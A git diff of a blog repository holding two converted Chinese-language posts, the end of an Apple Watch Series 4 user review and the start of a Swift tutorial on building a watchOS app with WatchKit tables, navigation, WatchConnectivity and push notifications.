系統在檢測到你的Apple帳號有Apple Watch裝置之後就會在「系統偏好設置」\->「安全與隱私權」\->「一般」\->新增一行「允許Apple Watch解鎖您的Mac」\->「打勾即可」 + + +若一直啟用失敗,請先確認你的Apple帳號有開啟雙重認證\(非 [雙步認證](https://support.apple.com/zh-tw/HT207198){:target="_blank"} \)或試試重啟電腦! + +p\.s 我公司的Mac Mini就是一直無法啟用,重啟之後就正常了 +#### 相片打開空白? + +預設顯示iPhone上喜愛的項目,打開iPhone的「相片」在想要傳到手錶上的相片點「愛心」就會出現了 +#### 活動紀錄及體能訓練 + +活動紀錄每日有三個圈圈三個目標: +1\. 站立\(藍\):每一小時有站立1分鐘就算達成1次 + +2\. 運動\(綠\):超越快走強度的活動時間才會被計算 + +3\.活動\(紅\):燃燒的動態卡路里數,有在動就會增加 + +詳細可查看iPhone上「健康」APP有詳細解說。 + +每日達成紀錄會提示,另外可在Apple Watch上的「活動紀錄」APP重壓調整活動目標值(預設一天活動360大卡就達標了) + +體能訓練部分跑步我是使用Nike Run Club \+沒使用內建的,上週去騎腳踏車試用內建的體能訓練\->「室外單車」做紀錄,會記錄高度/距離/時間/路徑/心律 讚讚! + + +![](/assets/a2920e33e73e/1*WScZTP6ySKIdbpYZ17tY2A.jpeg) + +#### 地圖功能? + +目前僅支援Apple Map,Google Map暫時不支援,打開「地圖」搜尋或選擇個人資訊設定的公司住家地址(來源:聯絡資訊\->我的名片)或聯絡資訊或自行輸入目標;開始導航後每個轉折點都是一張卡,依據行駛自動跳頁,可轉動查看,點擊可進入查看地圖內容,距離剩下40公尺的時候會震動提示你,重壓可結束導航. + + +![](/assets/a2920e33e73e/1*xc0BTmLpRFDkRQhUeMz-tQ.jpeg) + + +這部分只是把你手機的Apple Map資訊傳到手錶上(手錶導航時手機的導航也會自動打開) + +實際使用感想:Apple Map的地標很少難搜尋、好像只會導大路,明明有雙線道、更快、沒塞車的路線卻不導…所以還是期待Google Map更新吧,這個就先加減用了 + +**這裡附上一個Siri捷徑: [使用Apple Map開啟Google Map項目](https://www.icloud.com/shortcuts/4323b1653c6e4df2a1652535e7489773){:target="_blank"}** + + +![](/assets/a2920e33e73e/1*mIQkQp3UGQ_PAofH3gLcJQ.gif) + +#### 藍芽拍照按鈕 + +Apple Watch 打開 「相機」這時手機的相機也會打開,就能用手錶控制手機的相機進行拍照、錄影,重壓進行切換鏡頭/設定相機. + + +![](/assets/a2920e33e73e/1*nM3Vmpra-U8-daBnLfkhUw.jpeg) + +#### 我的手機在哪裡啊? + +在錶面頁由底部上拉出選單找到一個「手機在震動的Icon」點擊後手機就會發出聲響! + + +![](/assets/a2920e33e73e/1*YjJwm9uJtLxb4RoK2LvM5w.png) + +- 手機在靜音、無擾狀態下依然會發出聲響 +- 重壓Icon手機除了發出聲響之外還會發出閃光燈 + + +p\.s 反過來手機要找手錶則無此功能,若是遺失要找請從「尋找iPhone」中尋找 +#### 訊息輸入無法辨識手寫中文字、語音也聽無中文 + +覺得這是Bug… + + +![在訊息中重壓「麥克風」或「手寫」Icon 呼出選單>「選擇語言」\->「中文」](/assets/a2920e33e73e/1*KjBwFaHI3Aw894vw8RN3kw.jpeg) + +在訊息中重壓「麥克風」或「手寫」Icon 呼出選單>「選擇語言」\->「中文」 + +另一方法是,打開「iPhone」\->「設定」\->「一般」\->「鍵盤」\->「聽寫」\->「聽寫語言」\->只勾「國語」 + +這樣你的語音輸入就只聽得懂國語了,手機部分一併受到影響 +#### 關閉深呼吸提醒/關閉站立提醒 + +打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\->呼吸\->關閉呼吸提醒 + +打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\->活動紀錄\->關閉站立提醒 +#### 手錶想設定更複雜的密碼 + +打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\->密碼\->簡易密碼\->關閉\->則可設定6位數密碼 +#### 電話進來手錶能顯示Whoscall資訊嗎? + +不行。 +#### 會頓嗎? + +實際與同事的Apple Watch S3相比,S4 開啟APP幾乎不用Loading、開機也很快 +實測可參考這部影片: [【最新】4代 Apple Watch Series 4 速度實測 音量比較](https://www.youtube.com/watch?v=2p1bJjOiUUs){:target="_blank"} +#### 耗電嗎? + +我的配戴時間只有起床~洗澡前,睡覺不戴(床靠牆怕無意識時敲到牆壁),洗澡前拆下來充電 +- 晚上12點充滿電拆下放著,隔天早上8點大約剩下95% +- 晚上12點充滿電拆下放著, **切換飛航模式** ,隔天早上8點大約剩下98% + + +一整天下來約配戴15小時,沒刻意一直玩的話大約剩下65%電量,很能撐,勉強可以兩天一充. + +\*第一次充電可能需要較長時間 +\*前幾天電池效能可能還沒發揮會較耗電 +### 實用APP推薦 + +1\. [在意空氣](https://itunes.apple.com/tw/app/%E5%9C%A8%E6%84%8F%E7%A9%BA%E6%B0%A3/id477700080?mt=8){:target="_blank"} \(免費\):支援錶盤複雜功能AQI資訊 + +2\. [秒速記帳](https://itunes.apple.com/tw/app/%E7%A7%92%E9%80%9F%E8%A8%98%E5%B8%B3-1secmoney/id926076608?mt=8){:target="_blank"} \($60\):快速記帳軟體、支援錶盤複雜功能,有試過這套跟C\*Money,但C\*Money 要$120 而且供介面太過複雜,個人用不上手;所以比較推薦這款 + +3\. [Bus\+](https://itunes.apple.com/tw/app/bus-%E5%85%A8%E5%8F%B0%E5%85%AC%E8%BB%8A%E5%8B%95%E6%85%8B-ubike-%E6%9F%A5%E8%A9%A2/id967861325?mt=8){:target="_blank"} \(免費\):查詢公車資訊,原本使用的是台北等公車但該APP不支援Apple Watch,只好忍痛捨棄;Bus\+與台北等公車邏輯有所不同,Bus\+是以站為基礎,這邊個人的設定方法是;分常用的地點(家裏/公司/捷運站)再把有經過的公車路線加入 + + +![Bus\+](/assets/a2920e33e73e/1*gn8p9L0CJN7DrI-aXZb4ew.jpeg) + +Bus\+ + +4\. [Nike\+ Run Club](https://itunes.apple.com/tw/app/nike-run-club/id387771637?mt=8){:target="_blank"} \(免費\):跑步記錄APP + +5\. [Shazam](https://itunes.apple.com/us/app/shazam/id284993459?mt=8){:target="_blank"} \(免費\):按一下辨識音樂(雖然直接問Siri也可以),還有另一款soundhound,個人實測是Shazam比較快 + +6\. [雙北市Ubike\+](https://itunes.apple.com/us/app/%E9%9B%99%E5%8C%97%E5%B8%82ubike/id1439405152?mt=8){:target="_blank"} \(免費\):查看鄰近的/收藏的Ubike站可借跟可停數量 + +7\. [錄音機](https://itunes.apple.com/tw/app/%E7%B0%A1%E7%B4%84%E9%8C%84%E9%9F%B3%E6%A9%9F-%E9%8C%84%E9%9F%B3%E7%A8%8B%E5%BC%8F/id1177522900?mt=8){:target="_blank"} \(免費\):快速使用Apple Watch錄音、傳輸到手機 + +8\. [倒數日](https://itunes.apple.com/tw/app/%E5%80%92%E6%95%B8%E6%97%A5-days-matter/id406170251?mt=8){:target="_blank"} \(免費\):查看紀念日/未來事件倒數 + +9\. [Advanced Calculator For Apple Watch OS](https://itunes.apple.com/tw/app/advanced-calculator-for-apple-watch-os/id986568900?mt=8){:target="_blank"} \(免費\):在Apple Watch上使用小計算機 + +Line,Spotify…\.e\.t\.c +### 總結及使用一週心得 + +佩戴至今快滿兩週,從原本很新奇的心情到現在已經平淡地融入到生活;到目前為止對生活有感的幫助:解鎖MAC我不用在打冗長的密碼\(公司規定離開座位要登出\)、即時查看天氣狀況、看看導航、APP通知、看看心律關心一下健康,差不多就如此而已;支援的APP及功能實在太少. + +使用手機的時間有減少?沒有特別感覺 ,因為收到通知我還是習慣用手機回,手錶回要用語音…在大庭廣眾下…用手寫的又非常慢;再者許多APP是不支援Apple Watch的 + +動輒$12,900起跳真的值得嗎?破萬的手錶有更多很好的選擇,但要連動頻果全家桶就只有一個;如果你只是想單純買隻名錶那大可不必使用Apple Watch;如果你想要能解決日常瑣碎的手錶可以考慮;如果你想要奢侈品\+解決日常瑣碎可以考慮不鏽鋼甚至是Hermès版! + +購買至今曾經有想退掉的念頭,總覺得$17,500能做很多事,花在一隻手錶上好像不太值得,但他的確又對日常生活是有幫助的,這個幫助值不值$17,500呢?我覺得目前不值,等Apple Watch APP生態系更有規模一點再來評估了,目前就是奢侈品XD,因為爽、潮、衝動所以買. + +其他項目就等大家自行體會囉 + +\- +#### [\[最新\] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往](../eab0e984043/) +### 手錶都買了,不考慮AirPods 2耳機嗎? + +請看下一篇>> [AirPods 2 開箱及上手體驗心得](../33afa0ae557d/) +### 自己的Apple Watch App 自己開發: + +請看 [動手做一支 Apple Watch App 吧!\(Swift\)](../e85d77b05061/) +### 想在手錶控制智慧家電? + +請看 [智慧家居初體驗 — Apple HomeKit & 小米米家](../c3150cdc85dd/) +### 使用三個月後心得: + +詳細請看 [這篇](../e85d77b05061/) + +1\.滿版貼做家事時撞到破了換了一次\(吐血\) +2\.增購了一副皮製錶帶: + + +![nomad Apple Watch 錶帶](/assets/a2920e33e73e/1*LEAth534v_Yr3xwRESEVkg.jpeg) + +nomad Apple Watch 錶帶 + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/apple-watch-series-4-%E5%BE%9E%E5%85%A5%E6%89%8B%E5%88%B0%E4%B8%8A%E6%89%8B%E5%85%A8%E6%96%B9%E4%BD%8D%E5%BF%83%E5%BE%97-a2920e33e73e){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-02-05-e85d77b05061.md b/_posts/zmediumtomarkdown/2019-02-05-e85d77b05061.md new file mode 100644 index 000000000..783b51022 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-02-05-e85d77b05061.md @@ -0,0 +1,753 @@ +--- +title: "動手做一支 Apple Watch App 吧!" +author: "ZhgChgLi" +date: 2019-02-05T16:23:30.749+0000 +last_modified_at: 2024-04-13T07:37:01.476+0000 +categories: "ZRealm Dev." +tags: ["ios","watchos","apple-watch-apps","watchkit","ios-app-development"] +description: "watchOS 5 手把手開發Apple Watch App 從無到有" +image: + path: /assets/e85d77b05061/1*aNqsa7aR3Vi3NIIvaUFZLA.png +render_with_liquid: false +--- + +### 動手做一支 Apple Watch App 吧!\(Swift\) + +watchOS 5 手把手開發Apple Watch App 從無到有 + +#### [\[最新\] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往](../eab0e984043/) +### 前言: + +暨上一篇 [Apple Watch 入手開箱文](../a2920e33e73e/) 後已經過了快三個月,最近終於找到機會研究開發Apple Watch App啦。 + + +![[結婚吧 — 最大婚禮籌備App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329#?platform=appleWatch){:target="_blank"}](/assets/e85d77b05061/1*aNqsa7aR3Vi3NIIvaUFZLA.png) + +[結婚吧 — 最大婚禮籌備App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329#?platform=appleWatch){:target="_blank"} + +補一下使用三個月後的心得: +1\. e\-sim\(LTE\)依然還想不到什麼時候會用到,所以也還沒申請沒用過 +2\.常用功能:靠近解鎖Mac電腦、舉手查看通知、Apple Pay +3\.健康提醒:過了三個月已開始懶了,通知提醒都看看,沒達成圓圈也無感 +4\.第三方App支援度依然很差 +5\.錶面可依照心情任意更換增加新鮮感 +6\.更詳細的運動紀錄:例如走遠一點路去買晚餐,手錶會自動偵測詢問是否要記錄運動 + +使用三個月後整體來說,還是如原開箱文所寫就像是多個生活小助手,幫你解決瑣碎的事. +### 第三方App支援度依然很差 + +在我實際開發過Apple Watch App之前還很納悶,為何Apple Watch上的App都很陽春甚至就只是「堪用」罷了,包括LINE\(訊息不同步而且從未更新\)、Messenger\(就是堪用\);直到我實際開發過Apple Watch App之後才知道這些開發者的苦衷…\. +### 首先,了解Apple Watch App的定位,化繁為簡 + +Apple Watch的定位 **「不是取代iPhone,而是輔助」** 不論是官方介紹、官方App、watchOS API都是這個走向;所以才會覺得第三方APP很陽春、功能很少\(抱歉,我太貪心了Orz\) + +以 [我們的A](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329?mt=8){:target="_blank"} pp為例,有搜尋商家、查看專欄、討論區、線上詢問…等等功能;線上詢問就是有價值搬上Apple Watch的項目,因為他需要即時性而且更快速的回覆代表更有機會獲得訂單;搜尋商家、查看專欄、討論區這些功能相對複雜,在手錶上就算做的到也意義不大\(螢幕能呈現的資訊太少、也不需要即時性\) + +核心概念還是「以輔助為主」,所以並不是什麼功能都需要搬上Apple Watch;畢竟使用者很少很少時間會是只有戴手錶沒帶手機,而遇到這種情況時,使用者的需求也只有重要的功能\(像查看專欄文章這種沒有重要到一定要立刻馬上用手錶看\) +### 讓我們開始吧! + + +> **_這也是我第一次開發Apple Watch App,文章內容可能不夠深入,敬請大家指教!!_** + + +> **_本篇只適合有開發過iOS App/UIKit基礎的讀者閱讀_** + + +> **_本篇使用:iOS ≥ 9、watchOS ≥ 5_** + + + + +#### 為iOS專案新建 watchOS Target: + + +![File \-> New \-> Target \-> watchOS \-> WatchKit App](/assets/e85d77b05061/1*yxwki7mCbfJbEfsTDM683A.png) + +File \-> New \-> Target \-> watchOS \-> WatchKit App + +_\*Apple Watch App無法獨立安裝,一定要依附在 iOS App 之下_ + +新建好之後目錄會長這樣: + + +![](/assets/e85d77b05061/1*WIjSrYl5Hch0mGIjlNbyFQ.png) + + +你會發現有兩個Target項目,缺一不可: +1. WatchKit App: 負責存放資源、UI顯示 +/Interface\.storyboard:同 iOS,裡面有系統預設建立的視圖控制器 +/Assets\.xcassets:同 iOS,存放用到的資源項目 +/info\.plist:同 iOS,WatchKit App 相關設定 +2. WatchKit Extension: 負責程式呼叫、邏輯處理\( \* \.swift\) +/InterfaceController\.swift:預設的視圖控制器程式 +/ExtensionDelegate\.swift:類似Swift的AppDelegate,Apple Watch App 啟動入口 +/NotificationController\.swift:用於處理Apple Watch App上的推播顯示 +/Assets\.xcassets:這裡不使用,我統一放在WatchKit App的Assets\.xcassets下 +/info\.plist:同 iOS,WatchKit Extension 相關設定 +/PushNotificationPayload\.apns:推播資料,可用在模擬器上測試推播功能 + + +細節會在後面做介紹,先大概了解一下目錄及文件內容功能即可。 +#### 視圖控制器: + +**在AppleWatch中視圖控制器不叫ViewController而是InterfaceController** ,你可以在WatchKit App/Interface\.storyboard中找到Interface Controller Scence,控制它的程式就放在WatchKit Extension/InterfaceController\.swift中\(同iOS概念\) + + +![Scene預設會和Notification Controller Scene擠在一起 \(我會把它拉上面一點分開\)](/assets/e85d77b05061/1*2ibd9b4yaRGxwSpgKMdyUw.png) + +Scene預設會和Notification Controller Scene擠在一起 \(我會把它拉上面一點分開\) + +可在右方設定InterfaceController的標題顯示文字. + +標題顏色部分吃的是Interface Builder Document/Global hint設定,整個App的風格顏色會是統一的. + + +![](/assets/e85d77b05061/1*ZcS9q4gNSBo6MZLp1eITeA.jpeg) + +#### 元件庫: + + +![沒有太多複雜的元件,元件功能也都簡單明瞭](/assets/e85d77b05061/1*Armv40CxLqJ1wlbMI_o1oQ.png) + +沒有太多複雜的元件,元件功能也都簡單明瞭 +#### UI 排版: + +萬丈高樓從View起,排版的部分沒有 UIKit\(iOS\) 中的Auto Layout、約束、圖層,全都使用參數進行排版設置,更簡單有力\(排起來有點像 UIKit 中的 UIStackView\) + + +> **一切排版由Group組成,類似UIKit中的 UIStackView 但能設置更多排版參數** + + + + + + +![Group的參數設置](/assets/e85d77b05061/1*aoHxAFjEGgH3ZLQx9GhH_Q.png) + +Group的參數設置 +1. Layout:設置被包在裡面的子View排版方式(水平、垂直、圖層堆疊) +2. Insets:設置Group的上下左右間距 +3. Spacing:設置被包在裡面的子View之間的間距 +4. Radius:設置Group的圓角,沒錯!WatchKit自帶圓角設置參數 +5. Alignment/Horizontal:設置水平對齊方式(左、中、右)與鄰居、外層包覆的View設置會有所連動 +6. Alignment/Vertical:設置垂直對齊方式(上、中、下)與鄰居、外層包覆的View設置會有所連動 +7. Size/Width:設置Group的大小,有三種模式可選「Fixed:指定寬度」、「Size To Fit Content:依照內容子View大小決定寬度」、「Relative to Container:參照外層包覆的View大小為寬度\(可設%/\+ \-修正值\)」 +8. Size/Height:同Size/Width,此項是設置高度 + +#### 字型/字體大小設置: + + +![](/assets/e85d77b05061/1*8NfJeD4FsUw-SpAx_VFDCQ.png) + + +可直接套用系統的Text Styles,或使用Custom(但這邊我測試使用Custom無法設定字體大小);所以 **我是使用System** 自訂各顯示Label的字體大小 +#### **做中學:以Line排版為例** + + +![](/assets/e85d77b05061/1*oY9kLcnASy9j1WXxV4FGPA.png) + + +排版部分不像 iOS 那麼複雜,所以我直接透過範例示範給大家看,就能直接上手;以 Line 的主頁排版為例子: + +_在WatchKit App/Interface\.storyboard中找到Interface Controller Scence:_ + +1\.整個頁面,相當於 iOS App 開發中會使用到的 UITableView,在Apple Watch App 中簡化了操作,名字也改叫做「WKInterfaceTable」 +首先就先拉一個Table到Interface Controller Scence中 + + +![](/assets/e85d77b05061/1*bui2UXp9QwBYSYC-mwyK6g.png) + + +同UIKit UITableView,有Table本體、有Cell\(Apple Watch中叫做Row\);使用起來簡化許多, **你可以直接在此介面上進行Cell的設計排版!** + +2\. 分析排版架構,設計Row顯示樣式: + + +![](/assets/e85d77b05061/1*2bsyQ9Szfptugtg_KKxcgg.png) + + +要排出一個左邊有圓角滿版的Image且堆疊一個Label,右邊平均分配上下兩個區塊,上方放Label,下方也放Label的區塊 + +2–1: 拉出左右兩區塊的架構 + + +![](/assets/e85d77b05061/1*ez1NpEq3fgAMEqNjwTvWdw.png) + + +拉兩個Group到Group中,並對Size參數分別設定: + +左邊綠色部分: + + +![Layout設定Overlap,裡面子View要做未讀訊息Label的圖層堆疊顯示](/assets/e85d77b05061/1*axrBV1EHrPtOHvTnLtB79w.png) + +Layout設定Overlap,裡面子View要做未讀訊息Label的圖層堆疊顯示 + + +![設固定長寬40的正方形](/assets/e85d77b05061/1*Ti346bLg8AM2FInO6PNwLw.png) + +設固定長寬40的正方形 + +右邊紅色部分: + + +![Layout設定Vertical,裡面子View要做上下兩個顯示](/assets/e85d77b05061/1*5aq_TTFEp3kq6RusiTkYcw.png) + +Layout設定Vertical,裡面子View要做上下兩個顯示 + + +![寬度設定參照外層,比例100%,扣掉左邊綠色部分40](/assets/e85d77b05061/1*aXH2d1kDRLNl4XsizV9P_g.png) + +寬度設定參照外層,比例100%,扣掉左邊綠色部分40 + +左右容器內排版: + + +![](/assets/e85d77b05061/1*NR2vAZ3mqPMjCLqBCJ6ZxQ.png) + + +左邊部分:拉入一個Image,再拉入一個包覆Lable的Group對齊設右下\(Group設底色再設間距及圓角\) + +右邊部分:拉入兩個Label,一個對齊設左上,一個對齊設左下即可 +#### 為Row命名\(同UIKit UITableView為Cell設定identifier\): + + +![選定Row\->Identifier\->輸入自訂名稱](/assets/e85d77b05061/1*VTCVIJRAG-sGdBLjC26TKg.png) + +選定Row\->Identifier\->輸入自訂名稱 +#### Row的呈現樣式不只一種呢? + +非常簡單,只要在拉一個Row放在Table裡\(實際要顯示哪個樣式的ROW由程式控制\)並輸入Identifier命名即可 + + +![這邊我再拉一個Row用於呈現無資料時的提示](/assets/e85d77b05061/1*kQOKjxqmtI7M8BwYQ0yY0A.png) + +這邊我再拉一個Row用於呈現無資料時的提示 +#### 排版相關資訊 + +watchKit的hidden不會佔位,可拿來做交互應用(有登入才顯示Table;沒登入顯示提示Label) + + +![](/assets/e85d77b05061/1*RiCY7mH4_MyocNPN1GDuvA.png) + + +排版到此告一段落,可依照個人設計做修改;上手容易,多排個幾次、玩玩對齊參數,就能熟悉! +#### 程式控制部分: + +接續Row,我們需要建立一個Class對Row進行參照操作: +```swift +class ContactRow:NSObject { +} +``` + + +![](/assets/e85d77b05061/1*-AnyG0_PLubAX7f-579BMw.png) + +```swift +class ContactRow:NSObject { + var id:String? + @IBOutlet var unReadGroup: WKInterfaceGroup! + @IBOutlet var unReadLabel: WKInterfaceLabel! + @IBOutlet weak var imageView: WKInterfaceImage! + @IBOutlet weak var nameLabel: WKInterfaceLabel! + @IBOutlet weak var timeLabel: WKInterfaceLabel! +} +``` + +拉outlet、儲存變數 + +Table部分ㄧ樣拉Outlet到Controller中: +```swift +class InterfaceController: WKInterfaceController { + + @IBOutlet weak var Table: WKInterfaceTable! + override func awake(withContext context: Any?) { + super.awake(withContext: context) + + // Configure interface objects here. + } + + override func willActivate() { + // This method is called when watch view controller is about to be visible to user + super.willActivate() + } + + struct ContactStruct { + var name:String + var image:String + var time:String + } + + func loadData() { + //Get API Call Back... + //postData { + let data:[ContactStruct] = [] //api returned data... + + self.Table.setNumberOfRows(data.count, withRowType: "ContactRow") + //如果你有多種ROW需要呈現則用: + //self.Table.setRowTypes(["ContactRow","ContactRow2","ContactRow3"]) + // + for item in data.enumerated() { + if let row = self.Table.rowController(at: item.offset) as? ContactRow { + row.nameLabel.setText(item.element.name) + //assign value to lable/image...... + } + } + + //} + } + + override func didDeactivate() { + // This method is called when watch view controller is no longer visible + super.didDeactivate() + loadData() + } + + //處理Row點選時: + override func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) { + guard let row = table.rowController(at: rowIndex) as? ContactRow,let id = row.id else { + return + } + self.pushController(withName: "showDetail", context: id) + } +} +``` + +Table的操作簡化許多沒有delegate/datasource,設定資料方式只要呼叫setNumberOfRows/setRowTypes指定Row數量和形態,再使用rowController\(at:\) 設定每列的資料內容即可! + +Table的Row選擇事件也只需 override func table\( \_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int\) 即可操作!\(Table也只有這個事件\) +#### 如何跳頁? + + +![首先為Interface Controller設定Identifier](/assets/e85d77b05061/1*1KovG3qshPRsCgUXkbDYFw.png) + +首先為Interface Controller設定Identifier + +watchKit有兩種跳頁模式: + +1\.類似iOS UIKit push +self\.pushController\(withName: **Interface Controller Identifier** , context: **Any?** \) + + +![push方式可左上返回](/assets/e85d77b05061/1*snXj8xFP0MtF3_sVWK1xUw.png) + +push方式可左上返回 + +返回上一頁同iOS UIKit:self\.pop\( \) + +返回根頁面:self\.popToRootController\( \) + +開新頁面:self\.presentController\( \) + +2\. [頁籤顯示方式](https://developer.apple.com/library/archive/documentation/General/Conceptual/WatchKitProgrammingGuide/InterfaceStyles.html){:target="_blank"} +WKInterfaceController\.reloadRootControllers\(withNames: \[ **Interface Controller Identifier** \], contexts: \[ **Any?** \] \) + +亦或是在Storyboard上,在第一頁的Interface Controller上按Control\+Click拖曳到第二頁選擇「next page」也可 + + +![頁籤顯示方式可以左右切換頁面](/assets/e85d77b05061/1*teUOM4Wql2hexR51g7v1lQ.png) + +頁籤顯示方式可以左右切換頁面 + +兩種跳頁方式不能混用. +#### 跳頁參數? + +不像iOS需要使用自訂delegate或segue方式傳遞參數,watchKit跳頁帶參數方式就是將參數放入上方方法中的 **contexts** 中即可. + +接收參數在 **InterfaceController** 的 awake\(withContext context: Any?\) + +例如我在A頁面要跳到B頁面並帶入id:Int時: + +A 頁面: +```swift +self.pushController(withName: "showDetail", context: 100) +``` + +B 頁面: +```swift +override func awake(withContext context: Any?) { + super.awake(withContext: context) + guard let id = context as? Int else { + print("參數錯誤!") + self.popToRootController() + return + } + // Configure interface objects here. +} +``` +#### 程式控制元件部分 + +相比iOS UIKit一樣簡化許多,有開發過iOS的應該上手很快! +例如label變成setText\( \) +p\.s\. 而且居然沒有getText的方法,只能extension變數或放在外部變數儲存 +#### 與iPhone之間同步/資料傳遞 + +如果有開發過iOS 相關 Extension 的話;下意識一定是用App Groups共享UserDefaults的方式,當初我也興沖沖的這樣做,然後卡了好久發現資料一直過不去,直到上網一查才發現,watchOS>2之後就不再支援此方法了…\. + +要使用新的WatchConnectivity方式讓手機跟手錶之間進行通訊\(類似socket概念\),iOS手機及手錶watchOS兩端都需要實做,我們寫成singleton模式如下: + +**手機端:** +```swift +import WatchConnectivity + +class WatchSessionManager: NSObject, WCSessionDelegate { + @available(iOS 9.3, *) + func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) { + //手機端session啟用完成 + } + + func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) { + //手機端接受到手錶傳回的UserInfo + } + + func session(_ session: WCSession, didReceiveMessage message: [String : Any], replyHandler: @escaping ([String : Any]) -> Void) { + //手機端接受到手錶回傳的Message + } + + //另外還有didReceiveMessageData,didReceiveFile同樣都是處理收到手錶回傳的資料 + //看你的資料傳遞接收需求決定要用哪個 + + func sendUserInfo() { + guard let validSession = self.validSession,validSession.isReachable else { + return + } + + if userDefaultsTransfer?.isTransferring == true { + userDefaultsTransfer?.cancel() + } + + var list:[String:Any] = [:] + //將UserDefaults放入list.... + + self.userDefaultsTransfer = validSession.transferUserInfo(list) + } + + func sessionReachabilityDidChange(_ session: WCSession) { + //與手錶APP連接狀態改變時(手錶開啟APP時/手錶關閉APP時) + sendUserInfo() + //我是當狀態改變,如為手錶開啟APP時就同步一次UserDefaults + } + + func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) { + //完成同步UserDefaults(transferUserInfo) + } + + func sessionDidBecomeInactive(_ session: WCSession) { + + } + + func sessionDidDeactivate(_ session: WCSession) { + + } + + static let sharedManager = WatchSessionManager() + private override init() { + super.init() + } + + private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil + private var validSession: WCSession? { + if let session = session, session.isPaired && session.isWatchAppInstalled { + return session + } + //回傳有效且連接中且手錶APP開啟中的session + return nil + } + + func startSession() { + session?.delegate = self + session?.activate() + } +} +``` + +WatchConnectivity 手機端的 Code + +並在iOS/AppDelegate\.swift的application\( \_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: \[UIApplicationLaunchOptionsKey: Any\]?\)中加入WatchSessionManager\.sharedManager\.startSession\( \) +以在啟動手機APP後連接上session + +**手錶端:** +```swift +import WatchConnectivity + +class WatchSessionManager: NSObject, WCSessionDelegate { + func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) { + } + + func sessionReachabilityDidChange(_ session: WCSession) { + guard session.isReachable else { + return + } + + } + + func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) { + + } + + func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) { + DispatchQueue.main.async { + //UserDefaults: + //print(userInfo) + } + } + + static let sharedManager = WatchSessionManager() + private override init() { + super.init() + } + + private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil + + func startSession() { + session?.delegate = self + session?.activate() + } +} + +``` + +WatchConnectivity 手錶端的 Code + +並在WatchOS Extension/ExtensionDelegate\.swift中的applicationDidFinishLaunching\( \) 加入 +WatchSessionManager\.sharedManager\.startSession\( \) +以在啟動手錶APP後連接上session +#### WatchConnectivity 資料傳遞方式 + +傳資料用:sendMessage,sendMessageData,transferUserInfo,transferFile +收資料用:didReceiveMessageData,didReceive,didReceiveMessage +兩端傳接收方法都ㄧ樣 + + +![](/assets/e85d77b05061/1*eVT-62WCBy1ZZC90abJPqA.png) + + +可以看到手錶傳資料到手機都通,但手機傳資料到手錶僅限手錶APP開啟中 +#### watchOS推播處理 + +專案目錄底下的PushNotificationPayload\.apns這時就派上用場了,這是用來在模擬器上測試推播之用,在模擬器上部署Watch App target,安裝完啟動App就會收到一則以這個檔案內容的推播,讓開發者更容易測試推播功能. + + +![如要修改/啟用/停用 PushNotificationPayload\.apns,請選擇Target後Edit Scheme](/assets/e85d77b05061/1*1nlJOqwVqpMP6WtwdRcLPA.png) + +如要修改/啟用/停用 PushNotificationPayload\.apns,請選擇Target後Edit Scheme + +**watchOS 推播處理:** + +同iOS我們實做UNUserNotificationCenterDelegate,在watchOS中我們也實作一樣的方法,在watchOS Extension/ExtensionDelegate\.swift中 +```swift +import WatchKit +import UserNotifications +import WatchConnectivity + +class ExtensionDelegate: NSObject, WKExtensionDelegate, UNUserNotificationCenterDelegate { + + func applicationDidFinishLaunching() { + + WatchSessionManager.sharedManager.startSession() //前面提到的WatchConnectivity連線 + + UNUserNotificationCenter.current().delegate = self //設定UNUserNotificationCenter delegate + // Perform any final initialization of your application. + } + + func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { + completionHandler([.sound, .alert]) + //同iOS,此做法可讓推播在APP前景時依然會顯示 + } + + func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { + //點擊推播時 + guard let info = response.notification.request.content.userInfo["aps"] as? NSDictionary,let alert = info["alert"] as? Dictionary,let data = info["data"] as? Dictionary else { + completionHandler() + return + } + + //response.actionIdentifier可得點擊事件Identifier + //預設點擊事件:UNNotificationDefaultActionIdentifier + + if alert["type"] == "new_ask") { + WKExtension.shared().rootInterfaceController?.pushController(withName: "showDetail", context: 100) + //取得目前root interface controller 並 push + } else { + //其他處理.... + //WKExtension.shared().rootInterfaceController?.presentController(withName: "", context: nil) + + } + + completionHandler() + } +} +``` + +ExtensionDelegate\.swift + +**watchOS 推播顯示,分成三種:** +1. static: 預設推播顯示方式 + + + 